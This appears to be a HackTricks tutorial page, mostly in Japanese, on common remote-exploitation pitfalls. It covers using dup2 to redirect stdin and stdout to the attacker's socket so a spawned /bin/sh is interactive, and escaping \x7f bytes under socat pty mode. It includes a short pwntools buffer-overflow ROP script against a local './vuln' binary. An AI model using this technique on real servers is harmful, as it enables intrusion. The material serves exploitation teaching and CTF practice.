4 KiB
Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
FDs in Remote Exploitation
リモートサーバーに**system('/bin/sh')
**を呼び出すエクスプロイトを送信すると、これはサーバープロセスで実行され、/bin/sh
はstdin(FD: 0
)からの入力を期待し、stdoutおよびstderr(FDs 1
および 2
)に出力を印刷します。したがって、攻撃者はシェルと対話することができません。
これを修正する方法は、サーバーが起動したときにFD番号 3
(リスニング用)を作成し、その後、あなたの接続が**FD番号 4
**になると仮定することです。したがって、syscall **dup2
**を使用してstdin(FD 0)とstdout(FD 1)をFD 4(攻撃者の接続のもの)に複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socatはすでに**stdin
とstdout
をソケットに転送します。ただし、pty
モードはDELETE文字を含みます**。したがって、\x7f
(DELETE
-)を送信すると、あなたのエクスプロイトの前の文字を削除します。
これを回避するために、エスケープ文字\x16
を送信する任意の\x7f
の前に追加する必要があります。
ここでこの動作の例を 見つけることができます。
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.